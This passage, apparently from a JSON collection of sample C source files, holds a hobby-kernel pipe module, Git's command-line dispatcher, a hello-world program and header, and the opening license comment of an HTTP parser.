    "path": "samples/C/fudge_node.c",
    "content": "/* Copyright (c) 2010 Jens Nyberg\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE. */\n\n#include <fudge.h>\n#include <kernel.h>\n#include <modules/system/system.h>\n#include \"pipe.h\"\n\nstatic struct system_node root;\nstatic struct system_node clone;\n\nstatic unsigned int read(struct pipe_end *endself, struct pipe_end *endtarget, struct service_state *state, unsigned int count, void *buffer)\n{\n\n    count = buffer_rcfifo(&endself->buffer, count, buffer);\n\n    if (!count && endtarget->node.refcount)\n    {\n\n        list_add(&endself->readlinks, &state->link);\n        task_setstatus(state->link.data, TASK_STATUS_BLOCKED);\n\n    }\n\n    system_wakeup(&endtarget->writelinks);\n\n    return count;\n\n}\n\nstatic unsigned int write(struct pipe_end *endself, struct pipe_end *endtarget, struct service_state *state, unsigned int count, void *buffer)\n{\n\n    count = buffer_wcfifo(&endtarget->buffer, count, buffer);\n\n    if (!count)\n    {\n\n        list_add(&endself->writelinks, &state->link);\n        task_setstatus(state->link.data, TASK_STATUS_BLOCKED);\n\n    }\n\n    system_wakeup(&endtarget->readlinks);\n\n    return count;\n\n}\n\nstatic unsigned int end0_read(struct system_node *self, struct service_state *state, unsigned int count, void *buffer)\n{\n\n    struct pipe *pipe = (struct pipe *)self->parent;\n\n    return read(&pipe->end0, &pipe->end1, state, count, buffer);\n\n}\n\nstatic unsigned int end0_write(struct system_node *self, struct service_state *state, unsigned int count, void *buffer)\n{\n\n    struct pipe *pipe = (struct pipe *)self->parent;\n\n    return write(&pipe->end0, &pipe->end1, state, count, buffer);\n\n}\n\nstatic unsigned int end1_read(struct system_node *self, struct service_state *state, unsigned int count, void *buffer)\n{\n\n    struct pipe *pipe = (struct pipe *)self->parent;\n\n    return read(&pipe->end1, &pipe->end0, state, count, buffer);\n\n}\n\nstatic unsigned int end1_write(struct system_node *self, struct service_state *state, unsigned int count, void *buffer)\n{\n\n    struct pipe *pipe = (struct pipe *)self->parent;\n\n    return write(&pipe->end1, &pipe->end0, state, count, buffer);\n\n}\n\nstatic unsigned int clone_child(struct system_node *self, unsigned int count, char *path)\n{\n\n    struct list_item *current;\n\n    for (current = root.children.head; current; current = current->next)\n    {\n\n        struct system_node *node = current->data;\n        struct pipe *pipe = current->data;\n\n        if (node == self)\n            continue;\n\n        if (pipe->end0.node.refcount || pipe->end1.node.refcount)\n            continue;\n\n        return node->child(node, count, path);\n\n    }\n\n    return 0;\n\n}\n\nvoid pipe_init(struct pipe *pipe)\n{\n\n    buffer_init(&pipe->end0.buffer, 4096, pipe->end0.data);\n    buffer_init(&pipe->end1.buffer, 4096, pipe->end1.data);\n    system_initnode(&pipe->end0.node, SYSTEM_NODETYPE_NORMAL, \"0\");\n    system_initnode(&pipe->end1.node, SYSTEM_NODETYPE_NORMAL, \"1\");\n\n    pipe->end0.node.read = end0_read;\n    pipe->end0.node.write = end0_write;\n    pipe->end1.node.read = end1_read;\n    pipe->end1.node.write = end1_write;\n\n    system_initnode(&pipe->root, SYSTEM_NODETYPE_GROUP | SYSTEM_NODETYPE_MULTI, \"pipe\");\n    system_addchild(&pipe->root, &pipe->end0.node);\n    system_addchild(&pipe->root, &pipe->end1.node);\n\n}\n\nvoid pipe_register(struct pipe *pipe)\n{\n\n    system_addchild(&root, &pipe->root);\n\n}\n\nvoid pipe_unregister(struct pipe *pipe)\n{\n\n    system_removechild(&root, &pipe->root);\n\n}\n\nvoid module_init(void)\n{\n\n    system_initnode(&root, SYSTEM_NODETYPE_GROUP, \"pipe\");\n    system_initnode(&clone, SYSTEM_NODETYPE_GROUP, \"clone\");\n\n    clone.child = clone_child;\n\n    system_addchild(&root, &clone);\n\n}\n\nvoid module_register(void)\n{\n\n    system_registernode(&root);\n\n}\n\nvoid module_unregister(void)\n{\n\n    system_unregisternode(&root);\n\n}\n"
  },
  {
    "path": "samples/C/git.c",
    "content": "#include \"builtin.h\"\n#include \"cache.h\"\n#include \"exec_cmd.h\"\n#include \"help.h\"\n#include \"quote.h\"\n#include \"run-command.h\"\n\nconst char git_usage_string[] =\n\t\"git [--version] [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]\\n\"\n\t\"           [-p|--paginate|--no-pager] [--no-replace-objects] [--bare]\\n\"\n\t\"           [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]\\n\"\n\t\"           [-c name=value] [--help]\\n\"\n\t\"           <command> [<args>]\";\n\nconst char git_more_info_string[] =\n\tN_(\"See 'git help <command>' for more information on a specific command.\");\n\nstatic struct startup_info git_startup_info;\nstatic int use_pager = -1;\nstruct pager_config {\n\tconst char *cmd;\n\tint want;\n\tchar *value;\n};\n\nstatic int pager_command_config(const char *var, const char *value, void *data)\n{\n\tstruct pager_config *c = data;\n\tif (!prefixcmp(var, \"pager.\") && !strcmp(var + 6, c->cmd)) {\n\t\tint b = git_config_maybe_bool(var, value);\n\t\tif (b >= 0)\n\t\t\tc->want = b;\n\t\telse {\n\t\t\tc->want = 1;\n\t\t\tc->value = xstrdup(value);\n\t\t}\n\t}\n\treturn 0;\n}\n\n/* returns 0 for \"no pager\", 1 for \"use pager\", and -1 for \"not specified\" */\nint check_pager_config(const char *cmd)\n{\n\tstruct pager_config c;\n\tc.cmd = cmd;\n\tc.want = -1;\n\tc.value = NULL;\n\tgit_config(pager_command_config, &c);\n\tif (c.value)\n\t\tpager_program = c.value;\n\treturn c.want;\n}\n\nstatic void commit_pager_choice(void) {\n\tswitch (use_pager) {\n\tcase 0:\n\t\tsetenv(\"GIT_PAGER\", \"cat\", 1);\n\t\tbreak;\n\tcase 1:\n\t\tsetup_pager();\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nstatic int handle_options(const char ***argv, int *argc, int *envchanged)\n{\n\tconst char **orig_argv = *argv;\n\n\twhile (*argc > 0) {\n\t\tconst char *cmd = (*argv)[0];\n\t\tif (cmd[0] != '-')\n\t\t\tbreak;\n\n\t\t/*\n\t\t * For legacy reasons, the \"version\" and \"help\"\n\t\t * commands can be written with \"--\" prepended\n\t\t * to make them look like flags.\n\t\t */\n\t\tif (!strcmp(cmd, \"--help\") || !strcmp(cmd, \"--version\"))\n\t\t\tbreak;\n\n\t\t/*\n\t\t * Check remaining flags.\n\t\t */\n\t\tif (!prefixcmp(cmd, \"--exec-path\")) {\n\t\t\tcmd += 11;\n\t\t\tif (*cmd == '=')\n\t\t\t\tgit_set_argv_exec_path(cmd + 1);\n\t\t\telse {\n\t\t\t\tputs(git_exec_path());\n\t\t\t\texit(0);\n\t\t\t}\n\t\t} else if (!strcmp(cmd, \"--html-path\")) {\n\t\t\tputs(system_path(GIT_HTML_PATH));\n\t\t\texit(0);\n\t\t} else if (!strcmp(cmd, \"--man-path\")) {\n\t\t\tputs(system_path(GIT_MAN_PATH));\n\t\t\texit(0);\n\t\t} else if (!strcmp(cmd, \"--info-path\")) {\n\t\t\tputs(system_path(GIT_INFO_PATH));\n\t\t\texit(0);\n\t\t} else if (!strcmp(cmd, \"-p\") || !strcmp(cmd, \"--paginate\")) {\n\t\t\tuse_pager = 1;\n\t\t} else if (!strcmp(cmd, \"--no-pager\")) {\n\t\t\tuse_pager = 0;\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t} else if (!strcmp(cmd, \"--no-replace-objects\")) {\n\t\t\tread_replace_refs = 0;\n\t\t\tsetenv(NO_REPLACE_OBJECTS_ENVIRONMENT, \"1\", 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t} else if (!strcmp(cmd, \"--git-dir\")) {\n\t\t\tif (*argc < 2) {\n\t\t\t\tfprintf(stderr, \"No directory given for --git-dir.\\n\" );\n\t\t\t\tusage(git_usage_string);\n\t\t\t}\n\t\t\tsetenv(GIT_DIR_ENVIRONMENT, (*argv)[1], 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t\t(*argv)++;\n\t\t\t(*argc)--;\n\t\t} else if (!prefixcmp(cmd, \"--git-dir=\")) {\n\t\t\tsetenv(GIT_DIR_ENVIRONMENT, cmd + 10, 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t} else if (!strcmp(cmd, \"--namespace\")) {\n\t\t\tif (*argc < 2) {\n\t\t\t\tfprintf(stderr, \"No namespace given for --namespace.\\n\" );\n\t\t\t\tusage(git_usage_string);\n\t\t\t}\n\t\t\tsetenv(GIT_NAMESPACE_ENVIRONMENT, (*argv)[1], 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t\t(*argv)++;\n\t\t\t(*argc)--;\n\t\t} else if (!prefixcmp(cmd, \"--namespace=\")) {\n\t\t\tsetenv(GIT_NAMESPACE_ENVIRONMENT, cmd + 12, 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t} else if (!strcmp(cmd, \"--work-tree\")) {\n\t\t\tif (*argc < 2) {\n\t\t\t\tfprintf(stderr, \"No directory given for --work-tree.\\n\" );\n\t\t\t\tusage(git_usage_string);\n\t\t\t}\n\t\t\tsetenv(GIT_WORK_TREE_ENVIRONMENT, (*argv)[1], 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t\t(*argv)++;\n\t\t\t(*argc)--;\n\t\t} else if (!prefixcmp(cmd, \"--work-tree=\")) {\n\t\t\tsetenv(GIT_WORK_TREE_ENVIRONMENT, cmd + 12, 1);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t} else if (!strcmp(cmd, \"--bare\")) {\n\t\t\tstatic char git_dir[PATH_MAX+1];\n\t\t\tis_bare_repository_cfg = 1;\n\t\t\tsetenv(GIT_DIR_ENVIRONMENT, getcwd(git_dir, sizeof(git_dir)), 0);\n\t\t\tif (envchanged)\n\t\t\t\t*envchanged = 1;\n\t\t} else if (!strcmp(cmd, \"-c\")) {\n\t\t\tif (*argc < 2) {\n\t\t\t\tfprintf(stderr, \"-c expects a configuration string\\n\" );\n\t\t\t\tusage(git_usage_string);\n\t\t\t}\n\t\t\tgit_config_push_parameter((*argv)[1]);\n\t\t\t(*argv)++;\n\t\t\t(*argc)--;\n\t\t} else {\n\t\t\tfprintf(stderr, \"Unknown option: %s\\n\", cmd);\n\t\t\tusage(git_usage_string);\n\t\t}\n\n\t\t(*argv)++;\n\t\t(*argc)--;\n\t}\n\treturn (*argv) - orig_argv;\n}\n\nstatic int handle_alias(int *argcp, const char ***argv)\n{\n\tint envchanged = 0, ret = 0, saved_errno = errno;\n\tconst char *subdir;\n\tint count, option_count;\n\tconst char **new_argv;\n\tconst char *alias_command;\n\tchar *alias_string;\n\tint unused_nongit;\n\n\tsubdir = setup_git_directory_gently(&unused_nongit);\n\n\talias_command = (*argv)[0];\n\talias_string = alias_lookup(alias_command);\n\tif (alias_string) {\n\t\tif (alias_string[0] == '!') {\n\t\t\tconst char **alias_argv;\n\t\t\tint argc = *argcp, i;\n\n\t\t\tcommit_pager_choice();\n\n\t\t\t/* build alias_argv */\n\t\t\talias_argv = xmalloc(sizeof(*alias_argv) * (argc + 1));\n\t\t\talias_argv[0] = alias_string + 1;\n\t\t\tfor (i = 1; i < argc; ++i)\n\t\t\t\talias_argv[i] = (*argv)[i];\n\t\t\talias_argv[argc] = NULL;\n\n\t\t\tret = run_command_v_opt(alias_argv, RUN_USING_SHELL);\n\t\t\tif (ret >= 0)   /* normal exit */\n\t\t\t\texit(ret);\n\n\t\t\tdie_errno(\"While expanding alias '%s': '%s'\",\n\t\t\t    alias_command, alias_string + 1);\n\t\t}\n\t\tcount = split_cmdline(alias_string, &new_argv);\n\t\tif (count < 0)\n\t\t\tdie(\"Bad alias.%s string: %s\", alias_command,\n\t\t\t    split_cmdline_strerror(count));\n\t\toption_count = handle_options(&new_argv, &count, &envchanged);\n\t\tif (envchanged)\n\t\t\tdie(\"alias '%s' changes environment variables\\n\"\n\t\t\t\t \"You can use '!git' in the alias to do this.\",\n\t\t\t\t alias_command);\n\t\tmemmove(new_argv - option_count, new_argv,\n\t\t\t\tcount * sizeof(char *));\n\t\tnew_argv -= option_count;\n\n\t\tif (count < 1)\n\t\t\tdie(\"empty alias for %s\", alias_command);\n\n\t\tif (!strcmp(alias_command, new_argv[0]))\n\t\t\tdie(\"recursive alias: %s\", alias_command);\n\n\t\ttrace_argv_printf(new_argv,\n\t\t\t\t  \"trace: alias expansion: %s =>\",\n\t\t\t\t  alias_command);\n\n\t\tnew_argv = xrealloc(new_argv, sizeof(char *) *\n\t\t\t\t    (count + *argcp));\n\t\t/* insert after command name */\n\t\tmemcpy(new_argv + count, *argv + 1, sizeof(char *) * *argcp);\n\n\t\t*argv = new_argv;\n\t\t*argcp += count - 1;\n\n\t\tret = 1;\n\t}\n\n\tif (subdir && chdir(subdir))\n\t\tdie_errno(\"Cannot change to '%s'\", subdir);\n\n\terrno = saved_errno;\n\n\treturn ret;\n}\n\nconst char git_version_string[] = GIT_VERSION;\n\n#define RUN_SETUP\t\t(1<<0)\n#define RUN_SETUP_GENTLY\t(1<<1)\n#define USE_PAGER\t\t(1<<2)\n/*\n * require working tree to be present -- anything uses this needs\n * RUN_SETUP for reading from the configuration file.\n */\n#define NEED_WORK_TREE\t\t(1<<3)\n\nstruct cmd_struct {\n\tconst char *cmd;\n\tint (*fn)(int, const char **, const char *);\n\tint option;\n};\n\nstatic int run_builtin(struct cmd_struct *p, int argc, const char **argv)\n{\n\tint status, help;\n\tstruct stat st;\n\tconst char *prefix;\n\n\tprefix = NULL;\n\thelp = argc == 2 && !strcmp(argv[1], \"-h\");\n\tif (!help) {\n\t\tif (p->option & RUN_SETUP)\n\t\t\tprefix = setup_git_directory();\n\t\tif (p->option & RUN_SETUP_GENTLY) {\n\t\t\tint nongit_ok;\n\t\t\tprefix = setup_git_directory_gently(&nongit_ok);\n\t\t}\n\n\t\tif (use_pager == -1 && p->option & (RUN_SETUP | RUN_SETUP_GENTLY))\n\t\t\tuse_pager = check_pager_config(p->cmd);\n\t\tif (use_pager == -1 && p->option & USE_PAGER)\n\t\t\tuse_pager = 1;\n\n\t\tif ((p->option & (RUN_SETUP | RUN_SETUP_GENTLY)) &&\n\t\t    startup_info->have_repository) /* get_git_dir() may set up repo, avoid that */\n\t\t\ttrace_repo_setup(prefix);\n\t}\n\tcommit_pager_choice();\n\n\tif (!help && p->option & NEED_WORK_TREE)\n\t\tsetup_work_tree();\n\n\ttrace_argv_printf(argv, \"trace: built-in: git\");\n\n\tstatus = p->fn(argc, argv, prefix);\n\tif (status)\n\t\treturn status;\n\n\t/* Somebody closed stdout? */\n\tif (fstat(fileno(stdout), &st))\n\t\treturn 0;\n\t/* Ignore write errors for pipes and sockets.. */\n\tif (S_ISFIFO(st.st_mode) || S_ISSOCK(st.st_mode))\n\t\treturn 0;\n\n\t/* Check for ENOSPC and EIO errors.. */\n\tif (fflush(stdout))\n\t\tdie_errno(\"write failure on standard output\");\n\tif (ferror(stdout))\n\t\tdie(\"unknown write failure on standard output\");\n\tif (fclose(stdout))\n\t\tdie_errno(\"close failed on standard output\");\n\treturn 0;\n}\n\nstatic void handle_internal_command(int argc, const char **argv)\n{\n\tconst char *cmd = argv[0];\n\tstatic struct cmd_struct commands[] = {\n\t\t{ \"add\", cmd_add, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"annotate\", cmd_annotate, RUN_SETUP },\n\t\t{ \"apply\", cmd_apply, RUN_SETUP_GENTLY },\n\t\t{ \"archive\", cmd_archive },\n\t\t{ \"bisect--helper\", cmd_bisect__helper, RUN_SETUP },\n\t\t{ \"blame\", cmd_blame, RUN_SETUP },\n\t\t{ \"branch\", cmd_branch, RUN_SETUP },\n\t\t{ \"bundle\", cmd_bundle, RUN_SETUP_GENTLY },\n\t\t{ \"cat-file\", cmd_cat_file, RUN_SETUP },\n\t\t{ \"check-attr\", cmd_check_attr, RUN_SETUP },\n\t\t{ \"check-ref-format\", cmd_check_ref_format },\n\t\t{ \"checkout\", cmd_checkout, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"checkout-index\", cmd_checkout_index,\n\t\t\tRUN_SETUP | NEED_WORK_TREE},\n\t\t{ \"cherry\", cmd_cherry, RUN_SETUP },\n\t\t{ \"cherry-pick\", cmd_cherry_pick, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"clean\", cmd_clean, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"clone\", cmd_clone },\n\t\t{ \"column\", cmd_column, RUN_SETUP_GENTLY },\n\t\t{ \"commit\", cmd_commit, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"commit-tree\", cmd_commit_tree, RUN_SETUP },\n\t\t{ \"config\", cmd_config, RUN_SETUP_GENTLY },\n\t\t{ \"count-objects\", cmd_count_objects, RUN_SETUP },\n\t\t{ \"describe\", cmd_describe, RUN_SETUP },\n\t\t{ \"diff\", cmd_diff },\n\t\t{ \"diff-files\", cmd_diff_files, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"diff-index\", cmd_diff_index, RUN_SETUP },\n\t\t{ \"diff-tree\", cmd_diff_tree, RUN_SETUP },\n\t\t{ \"fast-export\", cmd_fast_export, RUN_SETUP },\n\t\t{ \"fetch\", cmd_fetch, RUN_SETUP },\n\t\t{ \"fetch-pack\", cmd_fetch_pack, RUN_SETUP },\n\t\t{ \"fmt-merge-msg\", cmd_fmt_merge_msg, RUN_SETUP },\n\t\t{ \"for-each-ref\", cmd_for_each_ref, RUN_SETUP },\n\t\t{ \"format-patch\", cmd_format_patch, RUN_SETUP },\n\t\t{ \"fsck\", cmd_fsck, RUN_SETUP },\n\t\t{ \"fsck-objects\", cmd_fsck, RUN_SETUP },\n\t\t{ \"gc\", cmd_gc, RUN_SETUP },\n\t\t{ \"get-tar-commit-id\", cmd_get_tar_commit_id },\n\t\t{ \"grep\", cmd_grep, RUN_SETUP_GENTLY },\n\t\t{ \"hash-object\", cmd_hash_object },\n\t\t{ \"help\", cmd_help },\n\t\t{ \"index-pack\", cmd_index_pack, RUN_SETUP_GENTLY },\n\t\t{ \"init\", cmd_init_db },\n\t\t{ \"init-db\", cmd_init_db },\n\t\t{ \"log\", cmd_log, RUN_SETUP },\n\t\t{ \"ls-files\", cmd_ls_files, RUN_SETUP },\n\t\t{ \"ls-remote\", cmd_ls_remote, RUN_SETUP_GENTLY },\n\t\t{ \"ls-tree\", cmd_ls_tree, RUN_SETUP },\n\t\t{ \"mailinfo\", cmd_mailinfo },\n\t\t{ \"mailsplit\", cmd_mailsplit },\n\t\t{ \"merge\", cmd_merge, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"merge-base\", cmd_merge_base, RUN_SETUP },\n\t\t{ \"merge-file\", cmd_merge_file, RUN_SETUP_GENTLY },\n\t\t{ \"merge-index\", cmd_merge_index, RUN_SETUP },\n\t\t{ \"merge-ours\", cmd_merge_ours, RUN_SETUP },\n\t\t{ \"merge-recursive\", cmd_merge_recursive, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"merge-recursive-ours\", cmd_merge_recursive, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"merge-recursive-theirs\", cmd_merge_recursive, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"merge-subtree\", cmd_merge_recursive, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"merge-tree\", cmd_merge_tree, RUN_SETUP },\n\t\t{ \"mktag\", cmd_mktag, RUN_SETUP },\n\t\t{ \"mktree\", cmd_mktree, RUN_SETUP },\n\t\t{ \"mv\", cmd_mv, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"name-rev\", cmd_name_rev, RUN_SETUP },\n\t\t{ \"notes\", cmd_notes, RUN_SETUP },\n\t\t{ \"pack-objects\", cmd_pack_objects, RUN_SETUP },\n\t\t{ \"pack-redundant\", cmd_pack_redundant, RUN_SETUP },\n\t\t{ \"pack-refs\", cmd_pack_refs, RUN_SETUP },\n\t\t{ \"patch-id\", cmd_patch_id },\n\t\t{ \"peek-remote\", cmd_ls_remote, RUN_SETUP_GENTLY },\n\t\t{ \"pickaxe\", cmd_blame, RUN_SETUP },\n\t\t{ \"prune\", cmd_prune, RUN_SETUP },\n\t\t{ \"prune-packed\", cmd_prune_packed, RUN_SETUP },\n\t\t{ \"push\", cmd_push, RUN_SETUP },\n\t\t{ \"read-tree\", cmd_read_tree, RUN_SETUP },\n\t\t{ \"receive-pack\", cmd_receive_pack },\n\t\t{ \"reflog\", cmd_reflog, RUN_SETUP },\n\t\t{ \"remote\", cmd_remote, RUN_SETUP },\n\t\t{ \"remote-ext\", cmd_remote_ext },\n\t\t{ \"remote-fd\", cmd_remote_fd },\n\t\t{ \"replace\", cmd_replace, RUN_SETUP },\n\t\t{ \"repo-config\", cmd_repo_config, RUN_SETUP_GENTLY },\n\t\t{ \"rerere\", cmd_rerere, RUN_SETUP },\n\t\t{ \"reset\", cmd_reset, RUN_SETUP },\n\t\t{ \"rev-list\", cmd_rev_list, RUN_SETUP },\n\t\t{ \"rev-parse\", cmd_rev_parse },\n\t\t{ \"revert\", cmd_revert, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"rm\", cmd_rm, RUN_SETUP },\n\t\t{ \"send-pack\", cmd_send_pack, RUN_SETUP },\n\t\t{ \"shortlog\", cmd_shortlog, RUN_SETUP_GENTLY | USE_PAGER },\n\t\t{ \"show\", cmd_show, RUN_SETUP },\n\t\t{ \"show-branch\", cmd_show_branch, RUN_SETUP },\n\t\t{ \"show-ref\", cmd_show_ref, RUN_SETUP },\n\t\t{ \"stage\", cmd_add, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"status\", cmd_status, RUN_SETUP | NEED_WORK_TREE },\n\t\t{ \"stripspace\", cmd_stripspace },\n\t\t{ \"symbolic-ref\", cmd_symbolic_ref, RUN_SETUP },\n\t\t{ \"tag\", cmd_tag, RUN_SETUP },\n\t\t{ \"tar-tree\", cmd_tar_tree },\n\t\t{ \"unpack-file\", cmd_unpack_file, RUN_SETUP },\n\t\t{ \"unpack-objects\", cmd_unpack_objects, RUN_SETUP },\n\t\t{ \"update-index\", cmd_update_index, RUN_SETUP },\n\t\t{ \"update-ref\", cmd_update_ref, RUN_SETUP },\n\t\t{ \"update-server-info\", cmd_update_server_info, RUN_SETUP },\n\t\t{ \"upload-archive\", cmd_upload_archive },\n\t\t{ \"upload-archive--writer\", cmd_upload_archive_writer },\n\t\t{ \"var\", cmd_var, RUN_SETUP_GENTLY },\n\t\t{ \"verify-pack\", cmd_verify_pack },\n\t\t{ \"verify-tag\", cmd_verify_tag, RUN_SETUP },\n\t\t{ \"version\", cmd_version },\n\t\t{ \"whatchanged\", cmd_whatchanged, RUN_SETUP },\n\t\t{ \"write-tree\", cmd_write_tree, RUN_SETUP },\n\t};\n\tint i;\n\tstatic const char ext[] = STRIP_EXTENSION;\n\n\tif (sizeof(ext) > 1) {\n\t\ti = strlen(argv[0]) - strlen(ext);\n\t\tif (i > 0 && !strcmp(argv[0] + i, ext)) {\n\t\t\tchar *argv0 = xstrdup(argv[0]);\n\t\t\targv[0] = cmd = argv0;\n\t\t\targv0[i] = '\\0';\n\t\t}\n\t}\n\n\t/* Turn \"git cmd --help\" into \"git help cmd\" */\n\tif (argc > 1 && !strcmp(argv[1], \"--help\")) {\n\t\targv[1] = argv[0];\n\t\targv[0] = cmd = \"help\";\n\t}\n\n\tfor (i = 0; i < ARRAY_SIZE(commands); i++) {\n\t\tstruct cmd_struct *p = commands+i;\n\t\tif (strcmp(p->cmd, cmd))\n\t\t\tcontinue;\n\t\texit(run_builtin(p, argc, argv));\n\t}\n}\n\nstatic void execv_dashed_external(const char **argv)\n{\n\tstruct strbuf cmd = STRBUF_INIT;\n\tconst char *tmp;\n\tint status;\n\n\tif (use_pager == -1)\n\t\tuse_pager = check_pager_config(argv[0]);\n\tcommit_pager_choice();\n\n\tstrbuf_addf(&cmd, \"git-%s\", argv[0]);\n\n\t/*\n\t * argv[0] must be the git command, but the argv array\n\t * belongs to the caller, and may be reused in\n\t * subsequent loop iterations. Save argv[0] and\n\t * restore it on error.\n\t */\n\ttmp = argv[0];\n\targv[0] = cmd.buf;\n\n\ttrace_argv_printf(argv, \"trace: exec:\");\n\n\t/*\n\t * if we fail because the command is not found, it is\n\t * OK to return. Otherwise, we just pass along the status code.\n\t */\n\tstatus = run_command_v_opt(argv, RUN_SILENT_EXEC_FAILURE | RUN_CLEAN_ON_EXIT);\n\tif (status >= 0 || errno != ENOENT)\n\t\texit(status);\n\n\targv[0] = tmp;\n\n\tstrbuf_release(&cmd);\n}\n\nstatic int run_argv(int *argcp, const char ***argv)\n{\n\tint done_alias = 0;\n\n\twhile (1) {\n\t\t/* See if it's an internal command */\n\t\thandle_internal_command(*argcp, *argv);\n\n\t\t/* .. then try the external ones */\n\t\texecv_dashed_external(*argv);\n\n\t\t/* It could be an alias -- this works around the insanity\n\t\t * of overriding \"git log\" with \"git show\" by having\n\t\t * alias.log = show\n\t\t */\n\t\tif (done_alias || !handle_alias(argcp, argv))\n\t\t\tbreak;\n\t\tdone_alias = 1;\n\t}\n\n\treturn done_alias;\n}\n\n\nint main(int argc, const char **argv)\n{\n\tconst char *cmd;\n\n\tstartup_info = &git_startup_info;\n\n\tcmd = git_extract_argv0_path(argv[0]);\n\tif (!cmd)\n\t\tcmd = \"git-help\";\n\n\tgit_setup_gettext();\n\n\t/*\n\t * \"git-xxxx\" is the same as \"git xxxx\", but we obviously:\n\t *\n\t *  - cannot take flags in between the \"git\" and the \"xxxx\".\n\t *  - cannot execute it externally (since it would just do\n\t *    the same thing over again)\n\t *\n\t * So we just directly call the internal command handler, and\n\t * die if that one cannot handle it.\n\t */\n\tif (!prefixcmp(cmd, \"git-\")) {\n\t\tcmd += 4;\n\t\targv[0] = cmd;\n\t\thandle_internal_command(argc, argv);\n\t\tdie(\"cannot handle %s internally\", cmd);\n\t}\n\n\t/* Look for flags.. */\n\targv++;\n\targc--;\n\thandle_options(&argv, &argc, NULL);\n\tif (argc > 0) {\n\t\tif (!prefixcmp(argv[0], \"--\"))\n\t\t\targv[0] += 2;\n\t} else {\n\t\t/* The user didn't specify a command; give them help */\n\t\tcommit_pager_choice();\n\t\tprintf(\"usage: %s\\n\\n\", git_usage_string);\n\t\tlist_common_cmds_help();\n\t\tprintf(\"\\n%s\\n\", git_more_info_string);\n\t\texit(1);\n\t}\n\tcmd = argv[0];\n\n\t/*\n\t * We use PATH to find git commands, but we prepend some higher\n\t * precedence paths: the \"--exec-path\" option, the GIT_EXEC_PATH\n\t * environment, and the $(gitexecdir) from the Makefile at build\n\t * time.\n\t */\n\tsetup_path();\n\n\twhile (1) {\n\t\tstatic int done_help = 0;\n\t\tstatic int was_alias = 0;\n\t\twas_alias = run_argv(&argc, &argv);\n\t\tif (errno != ENOENT)\n\t\t\tbreak;\n\t\tif (was_alias) {\n\t\t\tfprintf(stderr, \"Expansion of alias '%s' failed; \"\n\t\t\t\t\"'%s' is not a git command\\n\",\n\t\t\t\tcmd, argv[0]);\n\t\t\texit(1);\n\t\t}\n\t\tif (!done_help) {\n\t\t\tcmd = argv[0] = help_unknown_cmd(cmd);\n\t\t\tdone_help = 1;\n\t\t} else\n\t\t\tbreak;\n\t}\n\n\tfprintf(stderr, \"Failed to run command '%s': %s\\n\",\n\t\tcmd, strerror(errno));\n\n\treturn 1;\n}\n"
  },
  {
    "path": "samples/C/hello.c",
    "content": "#include <stdio.h>\n\nint main()\n{\n    printf(\"Hello World\\n\");\n    return 0;\n}\n"
  },
  {
    "path": "samples/C/hello.h",
    "content": "#ifndef HELLO_H\n#define HELLO_H\n\nvoid hello();\n\n#endif\n"
  },
  {
    "path": "samples/C/http_parser.c",
    "content": "/* Based on src/http/ngx_http_parse.c from NGINX copyright Igor Sysoev\n *\n * Additional changes are licensed under the same terms as NGINX and\n * copyright Joyent, Inc. and other Node contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR 